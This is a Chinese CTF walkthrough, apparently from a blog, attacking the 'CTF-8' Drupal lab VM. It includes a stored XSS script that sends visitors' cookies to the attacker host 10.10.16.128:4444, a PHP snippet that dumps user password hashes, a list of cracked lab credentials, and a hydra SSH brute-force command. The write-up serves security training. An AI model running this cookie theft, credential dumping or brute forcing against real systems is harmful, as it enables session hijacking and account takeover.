CTF-8 靶场夺旗
作者:互联网
兵无常势,水无常形,能因敌而致胜者,谓之神
环境准备
VMware Workstation Pro12
Kali Linux (IP:10.10.16.128)
CTF-8 虚拟机
NAT 网络连接
1. 主机发现
fping -asg 10.10.16.0/24
访问靶机 http://10.10.16.138
查看源代码,发现 flag
2. 端口扫描
nmap -A -v -sS -sV -p- -T4 10.10.16.138
3. 目录爆破
dirb http://10.10.16.138
所有用户都有一个ID(第一个是管理)。
http://10.10.16.138/user/1
所有页面都有一个ID(隐藏页有28个),访问第28个得到 flag
http://10.10.16.138/node/28
访问 robot.txt 和 phpinfo.php 分别得到两个 flag 。
浏览页面之后有一个 content 目录没能被扫出来,于是使用 dirb 再对目录爆破一遍,发现一个 hidden 文件,访问之后发现和前面 http://10.10.16.138/node/28 是同样的页面
dirb http://10.10.16.138/content
4. 漏洞挖掘
在首页文章下面的评论区插入 XSS 测试代码,再次访问这篇文章的时候就会触发 XSS 代码,出现如下弹框,说明此处存在 XSS 漏洞。
5. 漏洞利用
注册一个账户 zhutou ,然后以注册的账户登录,在评论区插入如下代码
<script>
var request=new XMLHttpRequest();
var redirect_url="http://10.10.16.128:4444/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>
该脚本旨在获取访问该文章的用户的 session_id ,特别是本文作者 Barbara 的 session_id,所以,关键的一步还是要给作者留言,让他再次去访问这篇文章
在 Kali 快速搭建一个 http 服务,提供一个文件浏览的 web 服务(ctrl+c 关闭,不要使用 ctrl+z,那是停止,还没关闭端口,如果下次使用就会报错,提示端口被占用)
10.10.16.138 那一行就是 admin 的访问记录,带上管理员的 cookie 访问首页,发现用户变成了 steve
之后左上角选择再添加文章,在 Body 处添加如下脚本。
<?php
$result = db_query('select name,pass from users');
while($record = db_fetch_object($result))
{
print $record->name . ":" . $record->pass . "<br/>";
}
?>
关键的一步是在 input format 中选择 PHP code
同样,每操作一步都要使用 Steve 的 cookie ,不然会自动换成普通用户的 cookie。
密码重复使用是当今一个经常出现的问题。如果我们能破解这些散列我们可以重新使用相同的密码来获得对目标系统的 shell 访问。Drupal 使用 MD5 算法保存密码散列,该算法不是很强。我们也许可以使用暴力强制这些散列或使用字典查找某些值。
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 zhutou.txt
一个个去线上破解
admin:49265c16d1dff8acef3499bd889299d6(football123)
Barbara:bed128365216c019988915ed3add75fb(passw0rd)
Jim:2a5de0f53b1317f7e36afcdb6b5202a4(letmein!)
Steve:08d15a4aef553492d8971cdd5198f314(drupal)
Sherry:c3319d1016a802db86653bcfab871f4f(1website)
Gene:9b9e4bbd988954028a44710a50982576
Harvey:7d29975b78825ea7c27f5c0281ea2fa4
John:518462cd3292a67c755521c1fb50c909(4summer13)
Johnathan:6dc523ebd2379d96cc0af32e2d224db0(1loveU)
Susan:0d42223010b69cab86634bc359ed870b(BobMarley)
Dan:8f75ad3f04fc42f07c95e2f3d0ec3503(BaseballSeason)
George:ed2b1f468c5f915f3f1cf75d7068baae(12341234)
Jeff:ca594f739e257245f2be69eb546c1c04(sitepass)
Stacey:85aca385eb555fb6a36a62915ddd8bc7(Seventy70)
Juan:573152cc51de19df50e90b0e557db7fe(swanson)
Michael:c7a4476fc64b75ead800da9ea2b7d072(cherry)
Jerome:42248d4cb640a3fb5836571e254aee2b
Tom:971dcf53e88e9268714d9d504753d347(drupalpassword)
Xavier:3005d829eb819341357bfddf541c175b(thundercats)
Sally:7a1c07ff60f9c07ffe8da34ecbf4edc2(fantasy)
zhutou:a6b3342afdf0d87ce6d2ae8af29069e7
将以上的用户名对应的账号和密码分别保存在文本里。根据前面提到的,每一个用户在 user 目录下对应一个 ID ,用户名对应的账号查找如下:
使用 hydra(九头蛇)/medusa(美杜莎)进行 ssh 登录爆破。
hydra -L user.txt -P passwd.txt -t 10 ssh://10.10.16.138
使用第一个帐密登录得到两个 flag 并成功提权。
进入家目录,查看其他用户,在其他用户目录下都发现了 flag 。
猪头
2020.2.23
LZHPIG
发布了26 篇原创文章 · 获赞 3 · 访问量 1193
私信
关注
标签:txt,http,访问,flag,16.138,CTF,10.10,靶场,夺旗 来源: https://blog.csdn.net/LZHPIG/article/details/104456327